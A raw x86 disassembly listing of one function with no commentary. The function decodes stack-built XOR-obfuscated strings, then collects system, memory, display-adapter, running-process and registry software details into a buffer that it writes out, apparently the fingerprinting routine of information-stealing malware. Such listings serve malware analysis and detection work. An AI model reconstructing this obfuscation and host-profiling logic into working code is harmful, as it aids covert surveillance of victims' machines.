mov al, byte [ebp - 0x15a]
mov dword [ebp - 0x14], edx
nop dword [eax + eax]
mov al, byte [ebp + edx - 0x15a]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0x8f4caa69
mov edx, 0xf5e9b1ed
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x69]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x15a], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, esi
jb 0x419140
lea eax, [ebp - 0x1f5c]
push eax
lea eax, [ebp - 0x15a]
push eax
push edi
call fcn.0040bdd0
add esp, 0xc
push dword [ebp - 0x334]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xorps xmm0, xmm0
mov dword [ebp - 0x4b8], 0
lea eax, [ebp - 0x4d8]
push eax
movups xmmword [ebp - 0x4d8], xmm0
movups xmmword [ebp - 0x4c8], xmm0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov byte [ebp - 0x10f], 0x23
xor edx, edx
mov byte [ebp - 0x10e], 0x3c
mov byte [ebp - 0x10d], 0x34
mov byte [ebp - 0x10c], 0x46
mov byte [ebp - 0x10b], 0x22
mov byte [ebp - 0x10a], 5
mov byte [ebp - 0x109], 0x15
mov byte [ebp - 0x108], 0x16
mov byte [ebp - 0x107], 8
mov byte [ebp - 0x106], 0x46
mov byte [ebp - 0x105], 0x52
mov byte [ebp - 0x104], 0x5a
mov byte [ebp - 0x103], 0x18
mov byte [ebp - 0x102], 0x72
mov byte [ebp - 0x101], 0x72
mov al, byte [ebp - 0x10f]
mov dword [ebp - 0x14], edx
mov al, byte [ebp + edx - 0x10f]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0x8f4caa69
mov edx, 0xf5e9b1ed
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x69]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x10f], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, esi
jb 0x419240
push dword [ebp - 0x4c4]
lea eax, [ebp - 0x10f]
push eax
push edi
call fcn.0040bdd0
add esp, 0xc
mov dword [ebp - 0x588], 0x40
lea eax, [ebp - 0x588]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
je 0x41937c
mov byte [ebp - 0xa6], 0xd2
xor edx, edx
mov byte [ebp - 0xa5], 0xd9
mov byte [ebp - 0xa4], 0xd7
mov byte [ebp - 0xa3], 0xa5
mov byte [ebp - 0xa2], 0xbe
mov byte [ebp - 0xa1], 0xb7
mov byte [ebp - 0xa0], 0xe8
mov byte [ebp - 0x9f], 0xbe
mov byte [ebp - 0x9e], 0xd0
mov byte [ebp - 0x9d], 0xdb
mov byte [ebp - 0x9c], 0x9c
mov byte [ebp - 0x9b], 0x9a
mov al, byte [ebp - 0xa6]
mov dword [ebp - 0x14], edx
mov al, byte [ebp + edx - 0xa6]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0x886ddb8f
mov edx, 0x7d980f1a
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx - 0x71]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0xa6], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0xc
jb 0x419315
mov ecx, dword [ebp - 0x580]
mov eax, dword [ebp - 0x57c]
shrd ecx, eax, 0x14
shr eax, 0x14
push eax
push ecx
lea eax, [ebp - 0xa6]
push eax
push edi
call fcn.0040bdd0
add esp, 0x10
lea ecx, [ebp - 0x34c]
call fcn.00489620
mov byte [ebp - 4], 0x2f
lea ecx, [ebp - 0x34c]
call fcn.00489470
push 0x1a4
lea eax, [ebp - 0x7a8]
mov dword [ebp - 0x1c], 0
push 0
push eax
mov dword [ebp - 0x7ac], 0x1a8
call fcn.004fe500
add esp, 0xc
lea eax, [ebp - 0x7ac]
push 1
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
test eax, eax
je 0x4196a1
nop dword [eax + eax]
mov esi, dword [ebp - 0x348]
xor ecx, ecx
mov edi, dword [ebp - 0x34c]
mov eax, 0x2aaaaaab
mov dword [ebp - 0x18], ecx
mov ecx, esi
sub ecx, edi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x4194d8
lea eax, [ebp - 0x3c8]
xor esi, esi
mov dword [ebp - 0x168], eax
jmp 0x419423
mov esi, dword [ebp - 0x24]
lea ecx, [ebp - 0x3c8]
call fcn.0040bbc0
mov byte [ebp - 4], 0x31
lea ecx, [ebp - 0x788]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x419440
sub ecx, edx
lea eax, [ebp - 0x788]
push ecx
push eax
lea ecx, [ebp - 0x3c8]
call fcn.0040bb00
mov byte [ebp - 4], 0x32
lea eax, [ebp - 0x3c8]
mov ecx, dword [ebp - 0x34c]
push eax
lea ecx, [ecx + esi]
call fcn.00492ba0
mov byte [ebp - 0xd], al
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x3c8]
call fcn.0040b870
mov byte [ebp - 4], 0x2f
lea eax, [ebp - 0x3c8]
mov dword [ebp - 0x164], eax
mov byte [ebp - 4], 0x2f
cmp byte [ebp - 0xd], 0
jne 0x41965a
mov edi, dword [ebp - 0x34c]
add esi, 0x18
inc dword [ebp - 0x18]
mov eax, 0x2aaaaaab
mov dword [ebp - 0x24], esi
mov esi, dword [ebp - 0x348]
mov ecx, esi
sub ecx, edi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x18], eax
jb 0x419420
mov byte [ebp - 0x1d8], 0xb6
sub esi, edi
mov byte [ebp - 0x1d7], 0x85
mov eax, 0x2aaaaaab
mov byte [ebp - 0x1d6], 0x83
mov byte [ebp - 0x1d5], 0x83
mov byte [ebp - 0x1d4], 0x80
mov byte [ebp - 0x1d3], 0xa1
mov byte [ebp - 0x1d2], 0x8a
mov byte [ebp - 0x1d1], 0x91
imul esi
mov byte [ebp - 0x1d0], 0x8a
mov byte [ebp - 0x1cf], 0xca
mov byte [ebp - 0x1ce], 0xc9
mov byte [ebp - 0x1cd], 0xc9
mov byte [ebp - 0x1cc], 0x8d
sar edx, 2
mov byte [ebp - 0x1cb], 0xdd
mov esi, edx
mov byte [ebp - 0x1ca], 0xc0
shr esi, 0x1f
mov byte [ebp - 0x1c9], 0xde
add esi, edx
mov byte [ebp - 0x1c8], 0x83
xor edx, edx
mov byte [ebp - 0x1c7], 0xf6
mov dword [ebp - 0x24], esi
mov esi, 0xf
mov byte [ebp - 0x1c6], 0xf7
mov al, byte [ebp - 0x1d8]
mov dword [ebp - 0x14], edx
mov al, byte [ebp + edx - 0x1d8]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0xbc4a24e1
mov edx, 0xbf940107
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx - 0x1f]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x1d8], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x13
jb 0x419583
mov esi, dword [ebp - 0x24]
lea eax, [ebp - 0x788]
mov edi, dword [ebp - 0x20]
push eax
push esi
lea eax, [ebp - 0x1d8]
push eax
push edi
call fcn.0040bdd0
lea eax, [ebp - 0x3e0]
add esp, 0x10
mov ecx, eax
mov dword [ebp - 0x328], eax
call fcn.0040bbc0
mov byte [ebp - 4], 0x37
lea ecx, [ebp - 0x788]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x419603
sub ecx, edx
lea eax, [ebp - 0x788]
push ecx
push eax
lea ecx, [ebp - 0x3e0]
call fcn.0040bb00
mov byte [ebp - 4], 0x38
lea eax, [ebp - 0x3e0]
push eax
lea ecx, [ebp - 0x34c]
call fcn.0048ffb0
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x3e0]
call fcn.0040b870
mov byte [ebp - 4], 0x2f
lea eax, [ebp - 0x3e0]
mov dword [ebp - 0x340], eax
mov byte [ebp - 4], 0x2f
jmp 0x41965d
mov edi, dword [ebp - 0x20]
mov esi, dword [ebp - 0x1c]
lea eax, [ebp - 0x7a8]
push 0x1a4
push 0
inc esi
mov dword [ebp - 0x7ac], 0x1a8
push eax
mov dword [ebp - 0x1c], esi
call fcn.004fe500
add esp, 0xc
lea eax, [ebp - 0x7ac]
push 1
push eax
push esi
push 0
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
test eax, eax
jne 0x4193e0
lea esi, [eax + 0xf]
mov byte [ebp - 0x100], 0xca
xor edx, edx
mov byte [ebp - 0xff], 0x87
mov byte [ebp - 0xfe], 0x87
mov byte [ebp - 0xfd], 0xa9
mov byte [ebp - 0xfc], 0xb0
mov byte [ebp - 0xfb], 0xbc
mov byte [ebp - 0xfa], 0xb0
mov byte [ebp - 0xf9], 0xa0
mov byte [ebp - 0xf8], 0xa7
mov byte [ebp - 0xf7], 0xb9
mov byte [ebp - 0xf6], 0xa5
mov byte [ebp - 0xf5], 0x80
mov byte [ebp - 0xf4], 0xdb
mov byte [ebp - 0xf3], 0xd5
mov al, byte [ebp - 0x100]
mov dword [ebp - 0x14], edx
nop
mov al, byte [ebp + edx - 0x100]
mov ecx, edx
and ecx, 0xf
mov byte [ebp - 0xd], al
cmp ecx, 0xf
mov eax, 0x50bc96cf
mov edx, 0xdc9a7f43
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx - 0x31]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x100], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0xe
jb 0x419710
lea eax, [ebp - 0x100]
push eax
push edi
call fcn.0040bdd0
add esp, 8
mov dword [ebp - 0x980], 0x128
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
je 0x41985b
lea eax, [ebp - 0x980]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x419854
mov edi, dword [sym.imp.KERNEL32.dll_Process32Next]
lea eax, [ebp - 0x980]
push eax
push esi
call edi
test eax, eax
je 0x419851
mov byte [ebp - 0x72], 0x75
xor edx, edx
mov byte [ebp - 0x71], 0x28
mov edi, 0xf
mov byte [ebp - 0x70], 0x7a
mov byte [ebp - 0x6f], 0x3e
mov byte [ebp - 0x6e], 0x41
mov byte [ebp - 0x6d], 4
mov byte [ebp - 0x6c], 0x37
mov byte [ebp - 0x6b], 0x6f
mov byte [ebp - 0x6a], 0x6c
mov al, byte [ebp - 0x72]
mov dword [ebp - 0x14], edx
mov al, byte [ebp + edx - 0x72]
mov ecx, edx
and ecx, edi
mov byte [ebp - 0xd], al
cmp ecx, edi
mov eax, 0x1925555d
mov edx, 0x83349529
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x5d]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x72], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 9
jb 0x4197e1
push dword [ebp - 0x978]
lea eax, [ebp - 0x95c]
push eax
lea eax, [ebp - 0x72]
push eax
push dword [ebp - 0x20]
call fcn.0040bdd0
mov edi, dword [sym.imp.KERNEL32.dll_Process32Next]
lea eax, [ebp - 0x980]
add esp, 0x10
push eax
push esi
call edi
test eax, eax
jne 0x4197b0
mov edi, dword [ebp - 0x20]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 0xe4], 0x2a
xor edx, edx
mov byte [ebp - 0xe3], 0x77
mov esi, 0xf
mov byte [ebp - 0xe2], 0x74
mov byte [ebp - 0xe1], 0x50
mov byte [ebp - 0xe0], 0x55
mov byte [ebp - 0xdf], 0x4a
mov byte [ebp - 0xde], 0x4d
mov byte [ebp - 0xdd], 0x59
mov byte [ebp - 0xdc], 0x43
mov byte [ebp - 0xdb], 0x53
mov byte [ebp - 0xda], 0x66
mov byte [ebp - 0xd9], 0x36
mov byte [ebp - 0xd8], 0x35
mov al, byte [ebp - 0xe4]
mov dword [ebp - 0x14], edx
nop word [eax + eax]
mov al, byte [ebp + edx - 0xe4]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0xc9c2f82d
mov edx, 0x8f8c4c04
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x2d]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0xe4], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0xd
jb 0x4198d0
lea eax, [ebp - 0xe4]
push eax
push edi
call fcn.0040bdd0
mov byte [ebp - 0x2c2], 0xc3
add esp, 8
mov byte [ebp - 0x2c1], 0xe6
xor edx, edx
mov byte [ebp - 0x2c0], 0xee
mov byte [ebp - 0x2bf], 0xf9
mov byte [ebp - 0x2be], 0xf0
mov byte [ebp - 0x2bd], 0xe6
mov byte [ebp - 0x2bc], 0xfb
mov byte [ebp - 0x2bb], 0xe4
mov byte [ebp - 0x2ba], 0xf1
mov byte [ebp - 0x2b9], 0xe4
mov byte [ebp - 0x2b8], 0xc2
mov byte [ebp - 0x2b7], 0xca
mov byte [ebp - 0x2b6], 0xd6
mov byte [ebp - 0x2b5], 0xc8
mov byte [ebp - 0x2b4], 0xd3
mov byte [ebp - 0x2b3], 0xc4
mov byte [ebp - 0x2b2], 0xc6
mov byte [ebp - 0x2b1], 0xcd
mov byte [ebp - 0x2b0], 0xe4
mov byte [ebp - 0x2af], 0xea
mov byte [ebp - 0x2ae], 0xde
mov byte [ebp - 0x2ad], 0xd9
mov byte [ebp - 0x2ac], 0xdd
mov byte [ebp - 0x2ab], 0xde
mov byte [ebp - 0x2aa], 0xca
mov byte [ebp - 0x2a9], 0xca
mov byte [ebp - 0x2a8], 0xe7
mov byte [ebp - 0x2a7], 0xfa
mov byte [ebp - 0x2a6], 0xc1
mov byte [ebp - 0x2a5], 0xc5
mov byte [ebp - 0x2a4], 0xc2
mov byte [ebp - 0x2a3], 0xde
mov byte [ebp - 0x2a2], 0xde
mov byte [ebp - 0x2a1], 0xbd
mov byte [ebp - 0x2a0], 0x9e
mov byte [ebp - 0x29f], 0xa8
mov byte [ebp - 0x29e], 0xb5
mov byte [ebp - 0x29d], 0xb4
mov byte [ebp - 0x29c], 0xa0
mov byte [ebp - 0x29b], 0xae
mov byte [ebp - 0x29a], 0xa3
mov byte [ebp - 0x299], 0x95
mov byte [ebp - 0x298], 0x9e
mov byte [ebp - 0x297], 0xa7
mov byte [ebp - 0x296], 0xad
mov byte [ebp - 0x295], 0xa9
mov byte [ebp - 0x294], 0xb3
mov byte [ebp - 0x293], 0xbf
mov byte [ebp - 0x292], 0xa1
mov byte [ebp - 0x291], 0xb5
mov byte [ebp - 0x290], 0xb4
mov byte [ebp - 0x28f], 0xdd
mov al, byte [ebp - 0x2c2]
mov dword [ebp - 0x14], edx
nop dword [eax]
mov al, byte [ebp + edx - 0x2c2]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0x7c34f99f
mov edx, 0x5dbf321a
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx - 0x61]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x2c2], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x34
jb 0x419aa0
lea eax, [ebp - 0x324]
mov dword [ebp - 0x324], 0
push eax
push 0x20019
push 0
lea eax, [ebp - 0x2c2]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x419ea1
xor esi, esi
mov dword [ebp - 0x18], esi
nop dword [eax]
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x16c]
mov dword [ebp - 0x16c], 0x400
push eax
lea eax, [ebp - 0x235c]
push eax
push esi
push dword [ebp - 0x324]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov edi, eax
test edi, edi
jne 0x419e86
mov dword [ebp - 0x160], eax
xor edx, edx
mov byte [ebp - 0x48], 0x95
mov esi, 0xf
mov byte [ebp - 0x47], 0xb8
mov byte [ebp - 0x46], 0x92
mov byte [ebp - 0x45], 0xe9
mov byte [ebp - 0x44], 0xb9
mov byte [ebp - 0x43], 0xc1
mov al, byte [ebp - 0x48]
mov dword [ebp - 0x14], edx
mov al, byte [ebp + edx - 0x48]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0x6e59efbf
mov edx, 0xa07123be
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx - 0x41]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x48], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 6
jb 0x419b82
lea eax, [ebp - 0x235c]
push eax
lea eax, [ebp - 0x2c2]
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x275c]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x160]
push eax
push 0x20019
push 0
lea eax, [ebp - 0x275c]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, dword [ebp - 0x18]
test eax, eax
jne 0x419e86
mov dword [ebp - 0x33c], 0xf003f
xor edx, edx
mov dword [ebp - 0x16c], 0x400
mov esi, 0xf
mov byte [ebp - 0xca], 0xc4
mov byte [ebp - 0xc9], 0xf1
mov byte [ebp - 0xc8], 0xe9
mov byte [ebp - 0xc7], 0xef
mov byte [ebp - 0xc6], 0xf2
mov byte [ebp - 0xc5], 0xf3
mov byte [ebp - 0xc4], 0xe4
mov byte [ebp - 0xc3], 0xd0
mov byte [ebp - 0xc2], 0xfc
mov byte [ebp - 0xc1], 0xf4
mov byte [ebp - 0xc0], 0xf3
mov byte [ebp - 0xbf], 0x9a
mov al, byte [ebp - 0xca]
mov dword [ebp - 0x14], edx
mov al, byte [ebp + edx - 0xca]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0x886ddb8f
mov edx, 0x7d980f1a
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx - 0x71]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0xca], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0xc
jb 0x419c83
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0x16c]
push eax
lea eax, [ebp - 0x2f5c]
push eax
lea eax, [ebp - 0x33c]
push eax
push 0
lea eax, [ebp - 0xca]
push eax
push dword [ebp - 0x160]
call edi
mov esi, dword [ebp - 0x18]
test eax, eax
jne 0x419e74
mov byte [ebp - 0x14b], 0x24
xor edx, edx
mov byte [ebp - 0x14a], 5
mov esi, 0xf
mov byte [ebp - 0x149], 0x12
mov byte [ebp - 0x148], 0x16
mov byte [ebp - 0x147], 0xd
mov byte [ebp - 0x146], 0xb
mov byte [ebp - 0x145], 0x19
mov byte [ebp - 0x144], 0x2e
mov byte [ebp - 0x143], 0x19
mov byte [ebp - 0x142], 0xe
mov byte [ebp - 0x141], 1
mov byte [ebp - 0x140], 0x16
mov byte [ebp - 0x13f], 0x13
mov byte [ebp - 0x13e], 0x16
mov byte [ebp - 0x13d], 0x72
mov al, byte [ebp - 0x14b]
mov dword [ebp - 0x14], edx
mov al, byte [ebp + edx - 0x14b]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0x8f4caa69
mov edx, 0xf5e9b1ed
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x69]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x14b], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, esi
jb 0x419d75
lea eax, [ebp - 0x16c]
push eax
lea eax, [ebp - 0x2b5c]
push eax
lea eax, [ebp - 0x33c]
push eax
push 0
lea eax, [ebp - 0x14b]
push eax
push dword [ebp - 0x160]
call edi
mov esi, dword [ebp - 0x18]
test eax, eax
jne 0x419e74
mov byte [ebp - 0x69], 0x75
xor edx, edx
mov byte [ebp - 0x68], 0x28
mov esi, 0xf
mov byte [ebp - 0x67], 0x7a
mov byte [ebp - 0x66], 0x3e
mov byte [ebp - 0x65], 0x41
mov byte [ebp - 0x64], 0x13
mov byte [ebp - 0x63], 0x37
mov byte [ebp - 0x62], 0x6f
mov byte [ebp - 0x61], 0x6c
mov al, byte [ebp - 0x69]
mov dword [ebp - 0x14], edx
mov al, byte [ebp + edx - 0x69]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0x1925555d
mov edx, 0x83349529
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x5d]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x69], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 9
jb 0x419e18
lea eax, [ebp - 0x2b5c]
push eax
lea eax, [ebp - 0x2f5c]
push eax
lea eax, [ebp - 0x69]
push eax
push dword [ebp - 0x20]
call fcn.0040bdd0
mov esi, dword [ebp - 0x18]
add esp, 0x10
push dword [ebp - 0x160]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc esi
jmp 0x419b16
inc esi
mov dword [ebp - 0x18], esi
test edi, edi
je 0x419b20
push dword [ebp - 0x324]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, dword [ebp - 0x20]
push edi
call fcn.00505bfe
add esp, 4
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x34c]
call fcn.0048c6c0
mov byte [ebp - 4], 0x3c
lea ecx, [ebp - 0x410]
call fcn.0040b870
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x410]
mov dword [ebp - 0x168], eax
mov byte [ebp - 4], 0x3f
lea ecx, [ebp - 0x398]
call fcn.0040b870
mov byte [ebp - 4], 7
lea eax, [ebp - 0x398]
mov dword [ebp - 0x164], eax
mov byte [ebp - 4], 0x42
lea ecx, [ebp - 0x3b0]
call fcn.0040b870
mov byte [ebp - 4], 4
lea eax, [ebp - 0x3b0]
mov dword [ebp - 0x328], eax
mov byte [ebp - 4], 4
sub esp, 0x18
mov byte [ebp - 0xd], 1
mov dword [ebp - 0x168], esp
lea eax, [ebp - 0x3f8]
mov esi, esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x164], esp
push eax
call fcn.0048a660
mov byte [ebp - 4], 0x45
mov byte [ebp - 4], 4
mov ecx, esi
call fcn.00414d80
add esp, 0x18
mov byte [ebp - 4], 0x46
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x428]
mov dl, byte [ebp - 0xd]
call fcn.004164f0
add esp, 0x18
mov byte [ebp - 4], 0x47
xor edx, edx
mov byte [ebp - 0x30], 0x17
mov byte [ebp - 0x2f], 6
mov byte [ebp - 0x2e], 0x60
mov al, byte [ebp - 0x30]
mov dword [ebp - 0x14], edx
mov al, byte [ebp + edx - 0x30]
mov ecx, edx
and ecx, 0xf
mov byte [ebp - 0xd], al
cmp ecx, 0xf
mov eax, 0xf
mov edx, 0x41ef8f97
cmovae ecx, eax
mov eax, 0x2f5a3361
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x61]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x30], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 3
jb 0x419f83
lea ecx, [ebp - 0x3f8]
call fcn.0040ba70
lea ecx, [ebp - 0x30]
push ecx
push eax
call fcn.00502370
mov edi, eax
add esp, 8
test edi, edi
je 0x41a008
mov esi, dword [ebp - 0x418]
lea ecx, [ebp - 0x428]
call fcn.0040ba70
push edi
push esi
push 1
push eax
call fcn.0050a178
push edi
call fcn.00505bfe
add esp, 0x14
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0x428]
call fcn.0040b870
mov byte [ebp - 4], 4
lea eax, [ebp - 0x428]
mov dword [ebp - 0x168], eax
mov byte [ebp - 4], 0x4b
lea ecx, [ebp - 0x3f8]
call fcn.0040b870
mov byte [ebp - 4], 3
lea eax, [ebp - 0x3f8]
mov dword [ebp - 0x164], eax
mov byte [ebp - 4], 0x4e
lea ecx, [ebp + 8]
call fcn.0040b870
mov byte [ebp - 4], 2
lea eax, [ebp + 8]
mov dword [ebp - 0x328], eax
mov byte [ebp - 4], 0x51
lea ecx, [ebp + 0x20]
call fcn.0040b870
mov byte [ebp - 4], 1
lea eax, [ebp + 0x20]
mov dword [ebp - 0x340], eax
mov byte [ebp - 4], 0x54
lea ecx, [ebp + 0x38]
call fcn.0040b870
mov byte [ebp - 4], 0
lea eax, [ebp + 0x38]
mov dword [ebp - 0x24], eax
mov dword [ebp - 4], 0x57
lea ecx, [ebp + 0x50]
call fcn.0040b870
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp + 0x50]
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret